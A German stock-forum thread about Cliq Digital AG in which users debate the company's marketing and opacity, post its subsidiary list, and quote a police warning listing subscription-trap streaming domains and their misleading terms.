      Zitat von kb_hilden: Ja, das Unternehmen hat Erfahrung in Marketing und sicherlich auch im offensiven Vertrieb. Und? (...)
      Ich gehe durchaus davon aus, dass das Unternehmen offensiv, teils grenzwertig und mit modernen Vertriebstechniken seine Ptodukte anbietet - so wird es häufig im B2C Geschäft gemacht. Im Rahmen der Gesetze ist das völlig in Ordnung. Hinweise auf einen regelmäßigen Verstoß erkenne ich nicht. Jeder Erwachsene verantwortet, was er abschließt, ob Abo für Mobilfunk, Streaming, Fitnessstudio oder ein wöchentliches Paar Socken.

      Kurs: 25,85€
      Inzwischen ab hier dann 6,9 Beiträge tägöich bis heute

      Goldjunge2000 verweist darauf, dass es einen Strategiewechsel gab
      Zitat von goldjunge2000: So so, du wurdest gebeten, dir Cliq einmal anzuschauen.
      Dann hast du sicherlich auch mit dem Management oder der IR gesprochen.
      Die geschäftliche Entwicklung seit der Strategieänderung 2018 der ist eine Erfolgsgeschichte. Hätte es seitdem im größeren Umfang Verbraucherprobleme gegeben, wäre der Wachstumskurs schon längst beendet.
      Auf Analystenempfehlungen und deren Kursziele gebe ich wenig. Schließlich werden diese ja auch nur "gebeten" sich ein Unternehmen anzusehen.
      Für mich war, als sich die ersten Erfolge durch den Strategiewechsel in 2018 einstellten, sowie das persönliche Gespräch mit dem Management der Zeitpunkt den Bestand zu erhöhen. Und ja, für mich ist Cliq ein Topwert.

      Kurs: 25,85€
      Peinlich für mich, der diesen Thread heute das erste Mal richtig durchgelesen hat, dass tatsächlich viele Antworten schon gegeben wurden.
      Nach unzähligen seeeehr langen Beiträgen meinerseits erkläre ich am 12.01.2023 kurz, worum es mir geht
      Zitat von jigajig: 2019 gab es eine Strategieänderung. Dies fällt ungefähr zusammen mit dem Ende der Beschwerden aus dem deutschsprachigen Raum. Nur: Es gibt eben nicht nur keine Beschwerden, sondern auch keine Userberichte. Es gibt nichts. Eine Blackbox, die Geld abwirft. Das mag manchem als investment case reichen...
      Wie formulierte es der weise Markus Straub von der SdK schon 2008?
      Ja, wir sehen bei (...) auch problematische bilanzielle und operationelle Aspekte. Aber dafür haben die Analysten in ihren Excel-Spreadsheets kein Feld. Und nach Eingabe der von (...) veröffentlichten Zahlen ins Bewertungsmodell spuckt dieses eine Kaufempfehlung aus.

      (Quelle: Der Aktionär, Juli 2008)
      So ist es. Die Zahlen bei Cliq Digital klingen gut. Der Strategiewechsel fiel mit Corona zusammen, Stremaingdienste boomen. Alles bekannt. Aber wo sind die fast 2 Millionen Kund*innen???

      Kurs: 27,90€

      16.1.23
      Die Sache mit den davongaloppierenden Analysten-Kurszielen
      Zitat von jigajig: Ich finde immer noch keine Möglichkeit, gegen diese Aktie zu wetten :(
      Dafür fand ich etwas anderes, eine doch sehr eindrucksvolle Grafik zum Thema Analysten
      https://de.marketscreener.com/kurs/aktie/CLIQ-DIGITAL-AG-478…

      Diese Kursziele sind also seit ungefähr März 2021 völlig aus dem Ruder gelaufen. Nur der Kurs kommt nicht hinterher...



      PS: ich würde aktuell NICHT short gehen, aber ich würde es gerne KÖNNEN.


      Kurs 28,00€

      Dann wurden mehrere aufwändige postings zensiert. Ja, irgendwie kann ich das schon verstehen…

      18.01.2023 Jigajig bleibt beharrlich
      Zitat von jigajig: Die Frage bleibt ...was Cliq Digital in den USA - wie ich hier gelernt habe über die niederländischen Töchter - tut oder lässt.
      Wie unten gezeigt, bekommt man auf dierekte Nachfrage bei Ben Bos bisher keine befriedigenden Antworten
      Wer die Analysen dazu hier nicht finden kann, muss sie sich eben anderweitig besorgen. Ich bleibe dabei, dass hier bisher ein sehr guter Diskussionsstil gepflegt wird. Wegen der Löschungen sieht es vielleicht komisch aus, aber ist halt jetzt so.
      Cliq Digital ist und bleibt ein Wert, an dem sich die Geister scheiden.
      https://www.wiwo.de/finanzen/boerse/streaming-anbieter-cliq-…
      (nette Journalistin übrigens)
      https://www.4investors.de/nachrichten/boerse.php?sektion=sto…
      (netter Autor übrigens)
      Ich werde Informationen sammeln, weil das etwas ist, was ich gut kann. Wenn diese nicht erwünscht sind, kann man sie doch einfach überlesen. Löschungen machen es doch interessanter als eine klare Antwort zu meinen Cliq-Digital-Forschungen wie "hat nichts damit zu tun". Dann könnte der Leser selbst entscheiden. So nicht. Schade. Aber ist ok, klar.
      https://twitter.com/search?q=cliqdigital&src=typed_query&f=t…

      Bisschen angefressen war ich ja schon.

      Dann wieder die Frage, wo Cliq Werbung macht, weil Ben Bos schon vor 5 Monaten ankündigte, dass Cliq als Marke gepusht werden soll:
      Zitat von jigajig:
      Bisher habe Cliq nicht unter seinem Namen angeboten, aber jetzt wird auch der Name Cliq vermarktet.
      Da frage ich mich: wenn man Cliq bis dato nicht im Markt sieht, wie kann man dann sehen, was Cliq genau macht? Es ist nur eine auf den hervorragenden Zahlen basierende Glaubensfrage?
      Wenn Ben Bos jetzt die Marke in den Mittelpunkt stellt, wird es einfacher werden.
      Das Video ist schon 5 Monate alt, aber (glaube ich) noch nicht verlinkt. Für mich war es neu und interessant. Ich finde es sehr gut, wieviel Präsenz die Aktie und das Management haben. Ein bisschen mehr Präsenz und Transparenz über das tatsächliche Geschäft stünde auf meinem Wunschzettel.


      Am 19.01.2023 habe ich einen neuen Thread eröffnet
      https://www.wallstreet-online.de/diskussion/500-beitraege/13…
      Avatar
      schrieb am 22.01.23 21:05:52
      Beitrag Nr. 352 ()
      Lesezeichen
      #cliqdigital #threadanalyse #threadhistorie
      Avatar
      schrieb am 31.01.23 18:43:35
      Beitrag Nr. 353 ()
      Antwort auf Beitrag Nr.: 72.983.194 von jigajig am 28.12.22 00:25:58C Formats GmbH Vertrieb und Marketing digitaler Produkte Düsseldorf, Deutschland
      Bob Mobile Hellas S.A. Ruhend Attiki, Griechenland
      Cructiq AG Vertrieb und Marketing digitaler Produkte Baar, Schweiz
      Rheinkraft Production GmbH Vertrieb und Marketing digitaler Produkte Düsseldorf, Deutschland
      Zimiq GmbH (Bluetiq GmbH) Vertrieb und Marketing digitaler Produkte Düsseldorf, Deutschland
      CLIQ B.V. Holding Amsterdam, Niederlande
      Memtiq B.V. Vertrieb und Marketing digitaler Produkte Amsterdam, Niederlande
      Guerilla Mobile Asia Pacific Pte. Ruhend Singapur
      TMG Singapore PTE Ltd. Vertrieb und Marketing digitaler Produkte Singapur
      The Mobile Generation Americas Inc. Gehaltsabrechnung Toronto, Kanada
      CLIQ UK Holding B.V. Holding Amsterdam, Niederlande
      Luboka Media Limited Vertrieb und Marketing digitaler Produkte Witney, Vereinigtes Königreich
      GIM Global Investments Munich Vertrieb und Marketing digitaler Produkte München, Deutschland
      DNA B.V. Vertrieb und Marketing digitaler Produkte Amsterdam, Niederlande
      Hype Ventures B.V. Vertrieb und Marketing digitaler Produkte Amsterdam, Niederlande
      CMind B.V. Vertrieb und Marketing digitaler Produkte Amsterdam, Niederlande
      Tornika Media B.V. Vertrieb und Marketing digitaler Produkte Amsterdam, Niederlande
      Tornika SAS Vertrieb und Marketing digitaler Produkte Paris, Frankreich
      CPay B.V. Vertrieb und Marketing digitaler Produkte Amsterdam, Niederlande
      Claus Mobi GmbH Vertrieb und Marketing digitaler Produkte Düsseldorf, Deutschland
      VIPMOB B.V. Vertrieb und Marketing digitaler Produkte Amsterdam, Niederlande
      Netacy Inc. Vertrieb und Marketing digitaler Produkte Dover, USA
      ADGOMO Limited (TGITT Limited) Vertrieb und Marketing digitaler Produkte Witney, Vereinigtes Königreich
      Universal Mobile Enterprises Ltd Vertrieb und Marketing digitaler Produkte Witney, Vereinigtes Königreich
      Moonlight Mobile Limited Vertrieb und Marketing digitaler Produkte Witney, Vereinigtes Königreich
      Red27 Mobile Limited Vertrieb und Marketing digitaler Produkte Witney, Vereinigtes Königreich
      Hypercode SAS Ruhend Vincennes, Frankreich
      Cliq GmbH Ruhend Düsseldorf, Deutschland
      Avatar
      schrieb am 12.02.23 11:58:37
      Beitrag Nr. 354 ()
      Verbraucherzentrale, LKA Niedersachsen, Streamingdienste
      "Die Betreiber der angeblichen Streaming-Dienste stellen regelmäßig weitere Webseiten online. Auf fast allen gibt es ein Impressum, in dem ein Unternehmen mit Sitz in Großbritannien genannt wird. Die Firmenbezeichnungen können beispielsweise so aussehen:

      "Anmama Limited"
      "Bizcon Limited"
      "Buro Services Limited"
      "CIDD Limited"
      "Dugo Ltd."
      "Kino Bino Limited"
      "Kino Cinemas Ltd"
      "Lovelust Limited"
      "OLJO Ltd"
      "SAFE4MEDIA Ltd"
      "Turquoiz Limited""

      Webarchiv

      "In der Regel werden weitere vorgeschaltete Webseiten (z.B. kinox4k.to, filmstreaming-de.life oder justhdfilme.com) so vorbereitet, dass diese auf die nachfolgenden Webseiten weiterschalten. Über Google kommt man zunächst durch die Suche nach Streaming HD Filmen lediglich zu den zuvor genannten Seiten und nicht direkt zu den Seiten wie filmara.de oder der Liste (siehe weiter unten). Zahlreiche Filme (auch aktuelle Filme, die woanders offiziell nur gegen Gebühr zu Leihen/Kaufen sind) werden angeboten. Klickt nun der Filmsuchende auf ein Video, erfolgen diverse Umleitungen. Es startet dann in einem Videofenster ein Vorspann von „Universal“, der nach wenigen Sekunden gestoppt wird. Danach wird man zum Registrieren aufgefordert. Dies erfolgt dann auf den weiter unten genannten Seiten. Unsere bisherigen Beispiele zeigten immer den „Universal“-Vorspann. Selbst dann, wenn der Film von einer anderen Gesellschaft, wie z.B. Disney/PIXAR mit dem Film „Onward“, stammt."

      "Wer jedoch auf die Seite klickt, die z.B. gadaflix.de/join/ endet, der bekommt eine vollkommen andere Registrierungsmaske mit Kostenhinweisen angezeigt. Wer den ursprünglichen Link nicht mehr kennt oder die aus den Mahnschreiben genannte Seite zur Kontrolle aufsucht, wird von den plötzlich sichtbaren Kostenhinweisen und Kosten überrascht sein."

      LKA Niedersachsen Archiv

      24flix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      aboplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      adoflix.de (aktiv, Stand 20.Nov. 2020)
      adostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      alimovies.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      aloflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      amostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      appleflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      araplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      asoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      babafilms.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      babaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      baflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bagaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      barplay.de (aktiv, 22.03.2021)
      bayplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bedaflix.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      beeflix.de (aktiv, Stand 20.Nov. 2020)
      begostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      benoflix.de (aktiv, Stand 20.Nov. 2020)
      benplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      beroplay.de (aktiv, 22.03.2021)
      bibplay.de (aktiv, Stand 14, Jan. 2021)
      bigflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bigostream.com (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      bigostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      billplay.de (aktiv, Stand 26.01.2021)
      bineflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      binoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      birdflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      blauplay.de (aktiv, Stand 20.Nov. 2020)
      blueflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bobflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      boboflix.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      boboplay.de (aktiv, 22.03.2021)
      bobstream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bodaflix.de (aktiv, Stand 20.Nov. 2020)
      bodoplay.de (aktiv, Stand 20.Nov. 2020)
      boflix.de (aktiv, Stand 20.Nov. 2020)
      bogflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bogoflix.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bogolplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bogostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bokuflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bomoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bonastream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bonoplay.de (aktiv, 22.03.2021)
      bonostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      borastream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      boxflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      braflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      bs.to (andere Streamingseite, wahrscheinlich kein seriöser Hintergrund, Stand 20.Nov.2020)
      budaplay.de (aktiv, 22.03.2021)
      bugaflix.de (aktiv, Stand 20.Nov. 2020)
      bullplay.de (aktiv, Stand 20.Nov. 2020)
      bumaplay.de (aktiv, Stand 20.Nov. 2020)
      buraplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      choflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      cinemadome.net (nicht mehr erreichbar, Stand 20. Nov. 2020)
      cinemaflix.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      cineplex24.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      cloudflix.de (aktiv, Stand 20.Nov. 2020)
      dadaplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      daflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      damplay.de (aktiv, 07.09.2021)
      daplay.de (aktiv, 22.03.2021)
      daftstream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      dasflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      dasimax.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      dekaflix.de (aktiv, Stand 20.Nov. 2020)
      dexflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      didplay.de (aktiv, 22.03.2021)
      dinoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      dodoplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      dodplay.de (aktiv, 22.03.2021)
      doflix.de (Richtigstellung: doflix.de wird seit 18.10.2019 von einem neuen Betreiber genutzt, dieser ist nicht Bestandteil der Streamingmasche und hat keinerlei Bezüge zu den Tätern!)
      dogaplay.de (aktiv, Stand 23.09.2021)
      dogostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      doloplay.de (aktiv, Stand 20.07.2021)
      domeflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      domoplay.de (aktiv, Stand 20.Nov. 2020)
      domstream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      donflix.de (aktiv, Stand 20.Nov. 2020)
      donplay.de (aktiv, 22.03.2021)
      dooplay.de (aktiv, 22.03.2021)
      dostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      doxplay.de (aktiv, 22.03.2021)
      drflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      duckplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      dudoplay.de (aktiv, Stand 20.Nov. 2020)
      duduplay.de (aktiv, 22.03.2021)
      dugoflix.de (aktiv, Stand 20.Nov. 2020)
      ebaflix.de (aktiv, Stand 20.Nov. 2020)
      edelflix.de (aktiv, Stand 20.Nov. 2020)
      edofilms.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      edyflix.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      euroflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      evaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      everflix.de (aktiv, Stand 20.Nov. 2020)
      faceflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      faroflix.de (aktiv, Stand 20.Nov. 2020)
      faxflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      felastream.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      felixkino.com (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      filmaba.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      filmara.de (aktiv, Stand 20.Nov. 2020)
      filmpalast24.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      fineflix.de (aktiv, Stand 20.Nov. 2020)
      finflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flexkino.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flipflix.de (aktiv, Stand 20.Nov. 2020)
      flixago.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixana.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixbay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixberg.de (Seite wird als „forbidden“ angezeigt, Stand 20.Nov.2020)
      flixdad.de (aktiv, Stand 20.Nov. 2020)
      flixday.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixdome.de (aktiv, Stand 20.Nov. 2020) (Dies gehört nicht zum Betreiber „flixdome“ [Amogo Networx] auf youtube!)
      flixdrom.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixer.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixfox.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixguru.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixhd.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixhub.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      flixking.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixkino.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixkong.de (aktiv, Stand 20.Nov. 2020)
      flixland.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixlist.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixman.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixme.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixmer.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixmex.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      flixpro.de (aktiv, Stand 20.Nov. 2020)
      flixtown.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixtv.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixway.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixwolf.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flixwood.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      floplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      flowplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      foflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      fogoplay.de (aktiv, 22.03.2021)
      fogostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      folgflix.de (aktiv, Stand 20.Nov. 2020)
      fomplay.de (aktiv, 22.03.2021)
      fomoplay.de (aktiv, 22.03.2021)
      foxflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      frogplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      froplay.de (aktiv, 22.03.2021)
      gabaflix.de (aktiv, Stand 20.Nov. 2020)
      gaboflix.de (aktiv, Stand 20.Nov. 2020)
      gagaplay.de (aktiv, Stand 20.Nov. 2020)
      gagastream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      galoflix.de (aktiv, Stand 20.Nov. 2020)
      galoplay.de (aktiv, Stand 13.08.2021)
      gamoflix.de (aktiv, Stand 20.Nov. 2020)
      ganuplay.de (aktiv, Stand 25. September 2021)
      garoflix.de (aktiv, Stand 20.Nov. 2020)
      grauplay.de (aktiv, Stand 20.07.2021)
      gauflix.de (aktiv, Stand 20.Nov. 2020)
      geraflix.de (aktiv, Stand 20.Nov. 2020)
      gerplay.de (aktiv, Stand 20. August 2021)
      gigaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      giroflix.de (Seite wird als „forbidden“ angezeigt, Stand 20.Nov.2020)
      gloflix.de (aktiv, Stand 20.Nov. 2020)
      gofilme.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      gogflix.de (aktiv, Stand 20.Nov. 2020)
      gogoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      gogomovies.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      gogostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      goldflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      goloflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      gomaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      gonaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      gonaplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      gonastream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      goxflix.de (aktiv, Stand 20.Nov. 2020)
      gogoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      goraplay.de (aktiv, 22.03.2021)
      goroplay.de (aktiv, 22.03.2021)
      guckflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      gudoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      guloplay.de (aktiv, 22.03.2021)
      hdflix.de (Wird vom Provider als registiert angezeigt, Stand 20.Nov.2020)
      hdtime.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      hdwelt.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      heloplay.de (aktiv, Stand 20.Nov. 2020)
      heroflix.de (aktiv, Stand 20.Nov. 2020)
      hitflix.de (aktiv, Stand 20.Nov. 2020)
      hogostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      huboflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      hugostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      ibostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      iceflix.de (aktiv, Stand 20.Nov. 2020)
      Imaxcine.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      imaxdome.com (inzwischen asiatische Erotikseite)
      imaxfilme.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      imaxgo.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      imaxkino.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      imaxnet.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      imaxstream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      imaxtime.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      imaxtv.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      imaxwelt.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      inflix.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      inoplay.de (aktiv, 22.03.2021)
      joyflix.de (aktiv, Stand 20.Nov. 2020)
      jubaflix.de (aktiv, Stand 20.Nov. 2020)
      judoplay.de (aktiv, Stand 20.Nov. 2020)
      juhustream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      justfilme.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      justflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      justhd.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      justhdfilme.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kimplay.de (aktiv, 22.03.2021)
      kinobay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinodex.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      kinoflexx.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinogogo.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinolox.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinopalast24.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinoplay.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      kinoplexx.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinoroom.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinostream.org (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      kinowelt24.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinox.su (offensichtlich unseriöser Filmanbieter, Stand 20.Nov.2020)
      kinox.to (offensichtlich unseriöser Filmanbieter, Stand 20.Nov.2020)
      kinoyama.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kinozeit.net (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kiwiflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      kkiste.io (offensichtlich unseriöser Filmanbieter, Stand 20.Nov.2020)
      kkiste.su (unbekannte Anbieter, aktuell kein Streaming erkennbar, Stand 20.Nov.2020)
      koboplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      labaflix.de (aktiv, Stand 20.Nov. 2020)
      laflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      leloflix.de (aktiv, Stand 20.Nov. 2020)
      lexflix.de (Wbseite angeblich aktuell im Aufbau, Stand 20.Nov.2020)
      lexplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      lightflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      likeflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      limaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
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      meinkinowelt.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      memaplay.de (aktiv, 22.03.2021)
      memoplay.de (aktiv, 22.03.2021)
      mexflix.com (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      mexkino.com (nicht mehr erreichbar, Stand 20. Nov. 2020)
      mexplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      migoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      migoplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      mimiplay.de (Serverfehler 503, Service Temporarily Unavailable)
      mimoplay.de (Error 552)
      minaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      miniflix.de (aktiv, Stand 20.Nov. 2020)
      mixfilms.de (aktiv, Stand 20.Nov. 2020)
      mixflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      mobaplay.de (aktiv, Stand 20.Nov. 2020)
      mobiflix.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      modflix.de
      Avatar
      schrieb am 12.02.23 12:13:08
      Beitrag Nr. 355 ()
      Streamingbetrug
      Das LKA Niedersachsen hat bis 2020 vor Streamingdiensten gewarnt:
      https://www.polizei-praevention.de/aktuelles/abzocke-ueber-g…

      Ein ausführlicher Artikel. Leider war ich damals ja mit ich-darf-sie-nicht-nennen beschäftigt und hatte keine Zeit für so banale Dinge (dachte ich damals).

      Das LKA Niedersachsen beschreibt eine Seite, "justhdfilme.com". Leider hat das LKA eine wichtige Sache übersehen.

      Das ist die archivierte Seite

      Das sind archivierte Unterseiten anhand derer man die "beworbenen" Seiten sehen kann (exemplarisch justhdfilme.com/stream/alleserien.com

      Wichtig auf der justhdfilme.com-Seite ist ein Hinweis ganz unten unter $$affiliates$$

      Der Link geht zu "http://web.archive.org/web/20200813015157/http://moviecpa.ne…

      und der Hinweis "Haftungsausschluss: JustHDFilme.com ist eine Affiliate Website, und hostet keine Filme auf dem eigenen Server."
      Avatar
      schrieb am 12.02.23 12:33:09
      Beitrag Nr. 356 ()
      Streamingseiten bis Anfang 2019 via moviecpa.net
      http://web.archive.org/web/20190418215157/http://moviecpa.ne…

      "
      "FelixKino
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      Movie CPA Ltd. 1 Habarzel St. Tel Aviv 6971001, Israel

      Wer nun auf Registrieren klickt, wird aufgefordert Vor- und Nachname, Mailadresse und Passwort einzugeben. Das Ausfüllen des Formulares würde auch eine Zustimmung zu den Nutzungsbedingungen sein. Die Nutzungsbedingungen geben, soweit die Inhalte der Seite zur Verfügung stehen, z.B. folgende Bedingungen vor:
      "Die Registrierung beginnt mit einer kostenfreien Testphase mit einer Dauer von 5 Tagen. Wenn Sie Ihr Abonnement innerhalb dieser Frist abbestellen, wird Ihr Account aus unserer Datenbank vollständig gelöscht. Wenn Sie Ihr Abonnement während der kostenfreien Testphase nicht abbestellen, wird Ihr Account automatisch auf einen Premium-Account mit einer Laufzeit von einem Jahr umgestellt."
      "Wenn Sie die kostenfreie Testphase abonnieren oder Ihren Account während der Testphase löschen, wird keine Gebühr erhoben. Falls Sie Ihren Account innerhalb von 5 Tagen nicht löschen sollten, wird Ihr Account automatisch als Premium-Tarif für den Preis von 29,90 € pro Monat (358,80 € pro Jahr) verlängert. In diesem Fall muss die Zahlung für die Premium-Mitgliedschaft einmalig in Höhe von 358,80 € geleistet werden. "
      Vereinzelt sind die Nutzungsbedinungen nur auf englisch zu finden. Auch haben die Täter hier teilweise Platzhalter auf der Webseite für den Namen der Streamingseite oder die Zahlungsbedinungen eingetragen, die durch die Webseitenprogrammierung nicht korrekt dargstellt werden.
      Ein Hinweis auf die kostenpflichtige Registrierung ist nur zum Teil auf den Seiten vorhanden. Zum Teil ist der Button lediglich mit "Registrieren" beschriftet.
